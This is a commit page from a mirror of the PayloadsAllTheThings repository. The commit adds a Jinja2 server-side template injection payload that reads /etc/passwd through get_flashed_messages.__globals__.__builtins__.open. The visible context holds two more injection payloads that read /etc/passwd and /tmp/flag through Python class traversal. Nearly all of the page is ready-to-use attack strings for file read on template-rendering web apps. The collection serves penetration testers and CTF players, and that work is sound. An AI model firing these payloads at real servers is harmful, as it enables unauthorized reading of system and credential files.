mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2025-12-26 18:56:33 +01:00
SSTI Payload in Jinja2 - Arbitrary file read
This commit is contained in:
parent
d4d2ba45c2
commit
89429f9c4f
1 changed files with 2 additions and 0 deletions
|
|
@ -381,6 +381,8 @@ Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
|
|||
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
|
||||
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
|
||||
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
|
||||
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
```
|
||||
|
||||
### Jinja2 - Write into remote file
|
||||
|
|
|
|||
Loading…
Reference in a new issue